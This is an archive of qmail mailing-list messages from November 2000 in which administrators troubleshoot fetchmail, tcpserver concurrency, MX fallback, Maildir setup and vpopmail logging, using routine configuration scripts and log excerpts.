<--- I deleted some lines here (it just goes on from 4 to
28)---->
fetchmail: POP3< 29 3A0E9ADA.13284F65 fetchmail: POP3< 30
003101c04ce0$7eab1360$0100a8c0 fetchmail: POP3< 31
bulk.25086.20001113093440 fetchmail: POP3< . 31 messages for ss1014 at
mail.hi.shuttle.de (869518 octets). fetchmail: POP3> LIST fetchmail:
POP3< +OK fetchmail: POP3< 1 481 fetchmail: POP3< 2
30861 fetchmail: POP3< 3 9212
<--- I deleted some lines here (it just goes on from 4 to
28)---->
fetchmail: POP3< 29 1359 fetchmail: POP3< 30 1535 fetchmail:
POP3< 31 10677 fetchmail: POP3< . fetchmail: POP3> TOP 1
99999999 fetchmail: POP3< +OK reading message 1 of 31 (481
octets) fetchmail: retained fetchmail: POP3> TOP 2
99999999 fetchmail: POP3< +OK reading message 2 of 31 (30861
octets) fetchmail: SMTP< 220 senfpott.gysar ESMTP fetchmail: SMTP>
EHLO localhost fetchmail: SMTP< 250-senfpott.gysar fetchmail: SMTP<
250-PIPELINING fetchmail: SMTP< 250 8BITMIME fetchmail: SMTP> MAIL
FROM:< [EMAIL PROTECTED]> fetchmail:
SMTP< 250 ok fetchmail: SMTP> RCPT TO:< steini@localhost> fetchmail: SMTP<
250 ok fetchmail: SMTP> DATA fetchmail: SMTP< 354 go
ahead fetchmail: terminated with signal 13 --- snip --- Of
course I'm running fetchmail with forcecr turned on (it's in my fetchmailrc
and it's listed with fetchmail --version). Anyone? Thanks in
advance, Sebastian Steinlechner |
Hello
Can anyone tell me how do i clear the queue of qmail?
thanks
Pedro Pires
Russell Nelson <[EMAIL PROTECTED]> writes on 10 November 2000 at 16:31:26 -0500
> Eric Wang writes:
> > > > Do I still need the Oversize DNS Patch?
> > > No.
> > why don't need anymore?
>
> Because AOL realized their mistake. Not even AOL can get away with
> DNS replies larger than 512 bytes.
They've flopped back and forth a few times, though. And while they
seem to be okay at the moment, I wouldn't consider this closed. I
want to keep the oversize DNS patch in my system.
--
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On Mon, Nov 13, 2000 at 01:58:48PM -0600, David Dyer-Bennet wrote:
> Russell Nelson <[EMAIL PROTECTED]> writes on 10 November 2000 at 16:31:26 -0500
> > Eric Wang writes:
> > > > > Do I still need the Oversize DNS Patch?
> > > > No.
> > > why don't need anymore?
> >
> > Because AOL realized their mistake. Not even AOL can get away with
> > DNS replies larger than 512 bytes.
>
> They've flopped back and forth a few times, though. And while they
> seem to be okay at the moment, I wouldn't consider this closed. I
> want to keep the oversize DNS patch in my system.
Also, AOL isn't the only one who has been doing this, there have been a few
other places I've had this problem with, on-and-off.
--Adam
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Hi all.
I'm using qmail-1.03 on a linux slackware 7.1 Atlhon server, after some
time and some mail sent
perfectly from the smtpd server i don't get the "ESMTP ..." prompt of qmail
....
if i do a "telnet server smtp" i get the "escape caracter is..." line and
after that nothing, this continue
until i reboot the server. I get the following error in another qmail
server ....
Here it's my startup line:
---
csh -cf '/var/qmail/rc &'
QMAILUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`
/usr/local/bin/tcpserver -H -R -x /etc/tcp.smtp.cdb -c100 -u$QMAILUID
-g$NOFIL
ESGID 0 smtp /var/qmail/bin/qmail-smtpd & >/dev/null 2>/dev/null
---
in the /var/log/mail.log there's nothing interesting.
What can i do?
Hello.
Davide.
On Mon, Nov 13, 2000 at 09:07:07PM +0100, Davide Giunchi wrote:
> if i do a "telnet server smtp" i get the "escape caracter is..." line and
> after that nothing, this continue
> until i reboot the server. I get the following error in another qmail
> server ....
>
> Here it's my startup line:
> ---
> csh -cf '/var/qmail/rc &'
> QMAILUID=`id -u qmaild`
> NOFILESGID=`id -g qmaild`
> /usr/local/bin/tcpserver -H -R -x /etc/tcp.smtp.cdb -c100 -u$QMAILUID
> -g$NOFIL
> ESGID 0 smtp /var/qmail/bin/qmail-smtpd & >/dev/null 2>/dev/null
Is it possible that you have hit your concurrency limit? If so, that's
exactly what happens: It accepts the connection but will not launch the
qmail-smtpd process until a session becomes available.
Ben
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hi,
I know it's a bit OT here, but given the collective knowledge on RFC822
that gathers here, I hope someone can help me a bit. Besides, its MTA
related after all ;)
I'm sending mail from a perl script and I have one var (or config
setting) for the 'To:' field. This script uses Net::SMTP to deliver its
load directly into a sendmail box.
Now if I insert 2 addresses, like '[EMAIL PROTECTED],
[EMAIL PROTECTED]', and there's a qmail at scim.net everything's
allright. Now some hosts don't like this: I'm having problems because
relay.sion.com rejects my 'To: [EMAIL PROTECTED] [EMAIL PROTECTED]'.
I've tried it with qmail-inject, manually feeding it with a 'To:
[EMAIL PROTECTED] [EMAIL PROTECTED]' and it doesn't bounce!
Reading RFC822 (at http://www.cis.ohio-state.edu/htbin/rfc/rfc822.html)
I can see the appendix A, in the item A.1.5., it looks like it should be
valid. In fact at A.3.3. there's an example that looks very much like
mine...
I'll find a workaround in the meantime, but, am I wrong to think its
allright to have a comma-delimited To: field?
martin
martin langhoff <[EMAIL PROTECTED]> writes:
> I'm sending mail from a perl script and I have one var (or config
> setting) for the 'To:' field. This script uses Net::SMTP to deliver its
> load directly into a sendmail box.
I assume that Net::SMTP is breaking this up into multiple separate MAIL TO
commands at the protocol level?
> Now if I insert 2 addresses, like '[EMAIL PROTECTED],
> [EMAIL PROTECTED]', and there's a qmail at scim.net everything's
> allright. Now some hosts don't like this: I'm having problems because
> relay.sion.com rejects my 'To: [EMAIL PROTECTED] [EMAIL PROTECTED]'.
Addresses should be separated by commas; your second example doesn't have
a comma.
> Reading RFC822 (at http://www.cis.ohio-state.edu/htbin/rfc/rfc822.html)
> I can see the appendix A, in the item A.1.5., it looks like it should be
> valid. In fact at A.3.3. there's an example that looks very much like
> mine...
> I'll find a workaround in the meantime, but, am I wrong to think its
> allright to have a comma-delimited To: field?
Comma-delimited To: headers are fine. You can't send a comma-delimited
address in the MAIL TO command, but Net::SMTP may do the right thing
there.
--
Russ Allbery ([EMAIL PROTECTED]) <http://www.eyrie.org/~eagle/>
Hello,
We have just completed migrating a sendmail installation for roughly 15000
users to qmail. After doing so, we are experiencing longish delays on the
delivery of incoming messages.
We currently have qmail-smtpd starting from tcpserver using:
#!/bin/sh
QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`
exec /usr/local/bin/softlimit -m 2000000 \
/usr/local/bin/tcpserver -c 512 -v -pR -x /usr/local/etc/tcp.smtp.cdb \
-u $QMAILDUID -g $NOFILESGID 0 smtp \
/usr/local/bin/rblsmtpd -b -r \
"relays.mail-abuse.org:Open relay problem - see
<http://www.mail-abuse.org/cgi-bin/nph-rss?%IP%>" \
-r dialups.mail-abuse.org \
-r rbl.maps.vix.com \
/var/qmail/bin/qmail-smtpd 2>&1
And logging using:
#!/bin/sh
exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t s2500000
/var/log/qmail/qmail-smtpd
I have increased our conncurrencylocal and concurrencyremote to 50 each.
The qmail-send log we have seems to indicate that we aren't coming close
to this limit:
@400000003a105ba216072edc status: local 1/50 remote 3/50
@400000003a105ba21626288c end msg 695835
@400000003a105ba2196aff04 new msg 695707
@400000003a105ba21a78f464 info msg 695707: bytes 8004 from <> qp 18635 uid
59
@400000003a105ba21dda6ee4 starting delivery 18024: msg 695707 to remote
[EMAIL PROTECTED]
@400000003a105ba21ddd7454 status: local 1/50 remote 4/50
Our architecture is setup as:
mx0.gwi.net - Incoming server, BDS/OS, Dual PIII 550, 256 MB RAM. This
server writes incoming mail to a NetApp NFS server. Unfortunately also
running qmail-pop3d right now for some of our customers. Will be disabling
this ASAP.
pop0.gwi.net - POP server. (Same hardware). Just running qmail-pop3d and
reading from the NetApp.
The delay seems to occur from when mx0 accepts the message to when mx0
writes it to the user's Maildir. My guess would be that the queue is not
being processed fast enough.
We are NOT yet using the big-todo patch at this time.
We are seeing delays of up to a couple hours on messages, so any
assistance or pointers in the right direction would be appreciated.
If you would be so kind as to CC any responses to [EMAIL PROTECTED] (to
get to me directly rather than through the qmail server) it would be
appreciated.
-----------------------------------------------------------------
Jamin A. Brown Systems Operations Department
[EMAIL PROTECTED] * Great Works Internet * 207.286.8686 x142
RSA PGP Key: http://www.gwi.net/~jamin/pgp/jamin.asc
On Mon, Nov 13, 2000 at 04:39:11PM -0500, Jamin A. Brown wrote:
> Hello,
>
> We have just completed migrating a sendmail installation for roughly 15000
> users to qmail. After doing so, we are experiencing longish delays on the
> delivery of incoming messages.
What sort of passwd technology are you using? /etc/passwd? NIS, NIS+?
> The delay seems to occur from when mx0 accepts the message to when mx0
> writes it to the user's Maildir. My guess would be that the queue is not
> being processed fast enough.
If you showed us some log entries from start of delivery to completion
we'd be able to tell you whether they seem slow or not.
> We are seeing delays of up to a couple hours on messages, so any
> assistance or pointers in the right direction would be appreciated.
Show us the specific log entries for some of these deliveries. We can only
speculate in the absence of information.
Regards.
> The delay seems to occur from when mx0 accepts the message to when mx0
> writes it to the user's Maildir. My guess would be that the
> queue is not being processed fast enough.
Have you checked the trigger?
http://web.infoave.net/~dsill/lwq.html#trigger
Sounds like a classic case of a bad trigger.
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On Mon, 13 Nov 2000 [EMAIL PROTECTED] wrote:
> On Mon, Nov 13, 2000 at 04:39:11PM -0500, Jamin A. Brown wrote:
> > Hello,
> >
> > We have just completed migrating a sendmail installation for roughly 15000
> > users to qmail. After doing so, we are experiencing longish delays on the
> > delivery of incoming messages.
>
> What sort of passwd technology are you using? /etc/passwd? NIS, NIS+?
/etc/passwd at this point.
> > The delay seems to occur from when mx0 accepts the message to when mx0
> > writes it to the user's Maildir. My guess would be that the queue is not
> > being processed fast enough.
It seems that the problem may have been related to the number of open
files that BSD/OS allows by default. After increasing this number by quite
a bit, qmail-send is finally showing us approach our concurrency limits.
If things continue to seem slow, I will email the list with logfile
entries.
Jamin
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Try disabling host resolution in tcpserver (by adding the -H option).
That's what usually stalls smtp deliveries with tcpserver.
RC
On Mon, Nov 13, 2000 at 04:39:11PM -0500, Jamin A. Brown wrote:
> Hello,
>
> We have just completed migrating a sendmail installation for roughly 15000
> users to qmail. After doing so, we are experiencing longish delays on the
> delivery of incoming messages.
>
> We currently have qmail-smtpd starting from tcpserver using:
>
> #!/bin/sh
> QMAILDUID=`id -u qmaild`
> NOFILESGID=`id -g qmaild`
> exec /usr/local/bin/softlimit -m 2000000 \
> /usr/local/bin/tcpserver -c 512 -v -pR -x /usr/local/etc/tcp.smtp.cdb \
> -u $QMAILDUID -g $NOFILESGID 0 smtp \
> /usr/local/bin/rblsmtpd -b -r \
> "relays.mail-abuse.org:Open relay problem - see
> <http://www.mail-abuse.org/cgi-bin/nph-rss?%IP%>" \
> -r dialups.mail-abuse.org \
> -r rbl.maps.vix.com \
> /var/qmail/bin/qmail-smtpd 2>&1
>
> And logging using:
>
> #!/bin/sh
> exec /usr/local/bin/setuidgid qmaill /usr/local/bin/multilog t s2500000
> /var/log/qmail/qmail-smtpd
>
>
> I have increased our conncurrencylocal and concurrencyremote to 50 each.
> The qmail-send log we have seems to indicate that we aren't coming close
> to this limit:
>
> @400000003a105ba216072edc status: local 1/50 remote 3/50
> @400000003a105ba21626288c end msg 695835
> @400000003a105ba2196aff04 new msg 695707
> @400000003a105ba21a78f464 info msg 695707: bytes 8004 from <> qp 18635 uid
> 59
> @400000003a105ba21dda6ee4 starting delivery 18024: msg 695707 to remote
> [EMAIL PROTECTED]
> @400000003a105ba21ddd7454 status: local 1/50 remote 4/50
>
>
> Our architecture is setup as:
>
> mx0.gwi.net - Incoming server, BDS/OS, Dual PIII 550, 256 MB RAM. This
> server writes incoming mail to a NetApp NFS server. Unfortunately also
> running qmail-pop3d right now for some of our customers. Will be disabling
> this ASAP.
> pop0.gwi.net - POP server. (Same hardware). Just running qmail-pop3d and
> reading from the NetApp.
>
> The delay seems to occur from when mx0 accepts the message to when mx0
> writes it to the user's Maildir. My guess would be that the queue is not
> being processed fast enough.
>
> We are NOT yet using the big-todo patch at this time.
>
> We are seeing delays of up to a couple hours on messages, so any
> assistance or pointers in the right direction would be appreciated.
>
> If you would be so kind as to CC any responses to [EMAIL PROTECTED] (to
> get to me directly rather than through the qmail server) it would be
> appreciated.
>
>
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>
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Hi,
I'm trying to make all mail incoming for a bunch of hosts to be
delivered to this one mail host.
So i've setup an MX record for each one of those domains to be that
mail host.
Problem is, the mail is always delivered for that host, ie: if I send
mail to [EMAIL PROTECTED], and the MX is mx.host.com, the mail will be
delivered to host.com, regardless of the MX entry.
Is this a DNS problem, or the way qmail delivers mail?
Thanks in advance,
Oliver
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On Mon, Nov 13, 2000 at 05:50:26PM -0800, Oliver Menzel wrote:
> I'm trying to make all mail incoming for a bunch of hosts to be
> delivered to this one mail host.
>
> So i've setup an MX record for each one of those domains to be that
> mail host.
>
> Problem is, the mail is always delivered for that host, ie: if I send
> mail to [EMAIL PROTECTED], and the MX is mx.host.com, the mail will be
> delivered to host.com, regardless of the MX entry.
>
> Is this a DNS problem, or the way qmail delivers mail?
It's a DNS problem. Why don't you tell us what the domain names are? Then maybe
someone can help you.
Chris
oops, sorry about that.
The domain is integrationsoft.com
> set type=mx
> integrationsoft.com
Server: localhost
Address: 127.0.0.1
integrationsoft.com preference = 30, mail exchanger =
mr3.integrationsoft.com
integrationsoft.com preference = 10, mail exchanger =
mr1.integrationsoft.com
integrationsoft.com preference = 20, mail exchanger =
mr2.integrationsoft.com
integrationsoft.com nameserver = ns1.integrationsoft.com
integrationsoft.com nameserver = ns2.integrationsoft.com
mr3.integrationsoft.com internet address = 64.75.21.89
mr1.integrationsoft.com internet address = 64.75.21.88
mr2.integrationsoft.com internet address = 64.75.21.87
ns1.integrationsoft.com internet address = 64.75.21.87
ns2.integrationsoft.com internet address = 64.75.21.88
Shouldn't delivery be to mr1.integrationsoft.com? Which is 64.75.21.88,
but the mail delivery is always to: 64.75.21.87. Which is the host
itself
Thanks in advance,
Oliver
--- Chris Johnson <[EMAIL PROTECTED]> wrote:
> On Mon, Nov 13, 2000 at 05:50:26PM -0800, Oliver Menzel wrote:
> > I'm trying to make all mail incoming for a bunch of hosts to be
> > delivered to this one mail host.
> >
> > So i've setup an MX record for each one of those domains to be that
> > mail host.
> >
> > Problem is, the mail is always delivered for that host, ie: if I
> send
> > mail to [EMAIL PROTECTED], and the MX is mx.host.com, the mail will be
> > delivered to host.com, regardless of the MX entry.
> >
> > Is this a DNS problem, or the way qmail delivers mail?
>
> It's a DNS problem. Why don't you tell us what the domain names are?
> Then maybe
> someone can help you.
>
> Chris
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On Mon, Nov 13, 2000 at 06:24:18PM -0800, Oliver Menzel wrote:
> oops, sorry about that.
>
> The domain is integrationsoft.com
This might be the reason:
[cjohnson@shemp cjohnson]$ telnet mr1.integrationsoft.com 25
Trying 64.75.21.88...
telnet: Unable to connect to remote host: Connection refused
Since mr1.integrationsoft.com is unreachable, the next higher preference mail
exchanger is used, mr2.integrationsoft.com. This one is reachable:
[cjohnson@shemp cjohnson]$ telnet mr2.integrationsoft.com 25
Trying 64.75.21.87...
Connected to mr2.integrationsoft.com.
Escape character is '^]'.
220 gs400.phate.com ESMTP
quit
221 gs400.phate.com
Chris
OOPS, what a trivial error.
Sorry about that, and thanks for your help!
--- Chris Johnson <[EMAIL PROTECTED]> wrote:
> On Mon, Nov 13, 2000 at 06:24:18PM -0800, Oliver Menzel wrote:
> > oops, sorry about that.
> >
> > The domain is integrationsoft.com
>
> This might be the reason:
>
> [cjohnson@shemp cjohnson]$ telnet mr1.integrationsoft.com 25
> Trying 64.75.21.88...
> telnet: Unable to connect to remote host: Connection refused
>
> Since mr1.integrationsoft.com is unreachable, the next higher
> preference mail
> exchanger is used, mr2.integrationsoft.com. This one is reachable:
>
> [cjohnson@shemp cjohnson]$ telnet mr2.integrationsoft.com 25
> Trying 64.75.21.87...
> Connected to mr2.integrationsoft.com.
> Escape character is '^]'.
> 220 gs400.phate.com ESMTP
> quit
> 221 gs400.phate.com
>
> Chris
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My qmail host, mail.sidell.org, is the MX host for domain sidell.org.
I have another host named lyris.sidell.org. (Actually, it's another
IP address on the same host, being handled by Lyris.)
If I SMTP to mail.sidell.org and send a message addressed to
[EMAIL PROTECTED], qmail replies with the bounce:
Sorry. Although I'm listed as a best-preference MX or A for that host,
it isn't in my control/locals file, so I don't treat it as local.
(#5.4.6)
If I add lyris.sidell.org to the locals file for qmail, it of course
says "foo" is not a local user.
So... How do I get qmail, running on mail.sidell.org to forward mail
addressed to <x>@lyris.sidell.org?
Sorry if I'm being dense.
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Hi,
I need some help on the above. I have searched the Internet extensively but could not
locate a definitive document on the subject.
Can someone help me in terms of how to go about it? A step-by-step procedure would be
really helpful and appreciated.
Thanks in advance.
Aashish.
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With Regds,
Rupak
Hi,
I have the problem that the qmail-popserver isn't finding the user's maildir.
After entering the password it's comming no $HOME/Maildir f�r user
Something what I don't understand I have one testaccount that haven't these
problems.
Regards,
Ruprecht
Ruprecht,
/var/qmail/bin/maildirmake home_directory_of_user/Maildir
.... and as seen often on this list, "What do the logs say?" (TM) -
in particular, if the user you're having problems with doesn't have
a Maildir, perhaps they're not able to receive mail anyway...
cheers,
Andrew.
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From: Ruprecht Helms[SMTP:[EMAIL PROTECTED]]
Sent: 14 November 2000 08:36
To: [EMAIL PROTECTED]
Subject: pop3 isn't finding Maildir
Hi,
I have the problem that the qmail-popserver isn't finding the user's maildir.
After entering the password it's comming no $HOME/Maildir f�r user
Something what I don't understand I have one testaccount that haven't these
problems.
Regards,
Ruprecht
>Hello. I've setup vpopmail for the first time last night and so far
>it works pretty good. I really don't like the fact that it logs to
>syslog and mail.log, however, and would prefer to use multilog with it
>under supervise which works for my qmail/qmail-smtp logging. I
>currently have a /var/qmail/supervise/qmail-pop3d directory with the
>following in my run file:
>
>#!/bin/sh
>exec /usr/bin/tcpserver -H -R 0 pop3 \
> /var/qmail/bin/qmail-popup $HOSTNAME \
> /home/vpopmail/bin/vchkpw /var/qmail/bin/qmail-pop3d Maildir 2>&1
>
>In the log/ subdirectory I have the same run file that exists in my
>supervise/qmail-{send,smtpd}/log directories to handle multilog
>logging for those two.
>
>How can I make vpopmail log in the same fashion? I'd like everything
>to remain consistant if at all possible.
>
>Currently, absolutely nothing is written to my multilogs, and when I
>try to use -v or -p with tcpserver, it refuses connection to the pop3
>server and sits there (but still nothing is printed to the logs).
>
>Thanks.
On Mandrake 7.1 I am trying to build a vpopmail RPM.
I modifield the spec of qmail-1.03.mdk.rpm and the problem is this:
I noticed the qmail-pop3d (1) do not start with the init.d script:
10813 pts/1 S 0:00 svscan
10814 pts/1 S 0:00 supervise qmail-pop3d
10815 pts/1 S 0:00 supervise qmail-send
10816 pts/1 S 0:00 supervise log
10817 pts/1 S 0:00 supervise qmail-smtpd
10818 pts/1 S 0:00 supervise log
10819 pts/1 S 0:00 /usr/bin/tcpserver -H -R 0 pop3
/var/qmail/bin/qmail-popup ns2.clikka.com
10820 pts/1 S 0:00 /usr/bin/multilog t s100000 n20
/var/log/qmail/smtpd
10821 pts/1 S 0:00 /usr/bin/tcpserver -v -p -x
/etc/tcprules.d/qmail-smtp.cdb -u 401 -g 401 -v -c100 0
10822 pts/1 S 0:00 /usr/bin/multilog t s100000 n20 /var/log/qmail
10823 pts/1 S 0:00 qmail-send
10826 pts/1 S 0:00 qmail-lspawn ./Maildir/
10827 pts/1 S 0:00 qmail-rspawn
10828 pts/1 S 0:00 qmail-clean
and it start manually
10814 pts/1 S 0:00 supervise qmail-pop3d
10815 pts/1 S 0:00 supervise qmail-send
10816 pts/1 S 0:00 supervise log
10817 pts/1 S 0:00 supervise qmail-smtpd
10818 pts/1 S 0:00 supervise log
10819 pts/1 S 0:00 /usr/bin/tcpserver -H -R 0 pop3
/var/qmail/bin/qmail-popup ns2.clikka.com
10820 pts/1 S 0:00 /usr/bin/multilog t s100000 n20
/var/log/qmail/smtpd
10821 pts/1 S 0:00 /usr/bin/tcpserver -v -p -x
/etc/tcprules.d/qmail-smtp.cdb -u 401 -g 401 -v -c100 0
10822 pts/1 S 0:00 /usr/bin/multilog t s100000 n20 /var/log/qmail
10823 pts/1 S 0:00 qmail-send
10826 pts/1 S 0:00 qmail-lspawn ./Maildir/
10827 pts/1 S 0:00 qmail-rspawn
10828 pts/1 S 0:00 qmail-clean
10858 pts/1 T 0:00 /usr/bin/multilog t s100000 n20
/var/log/qmail-pop3d
10859 pts/1 S 0:00 supervise log
How can I modifiy the scripts to start it at the same time?
(1) cat /var/qmail/supervise/qmail-pop3d/log/run
#!/bin/sh
exec /usr/bin/multilog t s100000 n20 /var/log/qmail-pop3d 2>&1
Second question: the script cant run under setuidgid qmaill (unable to
chenge directory) and cant log in /var/qmail/pop3d (cant lock directory)
Why?
Tnx
Miguel Beccari
Hello. It is necessary to me to authorize everyone, who tries to send mail
through my SMTP server. I want to use for this purpose authorization of a
POP3 server. I want that authorization was requested for the user, which is
specified in a field 'from:' of the head of the sent message. How it is
possible to solve this problem?
Thank you in advance,
Michael Borisov.
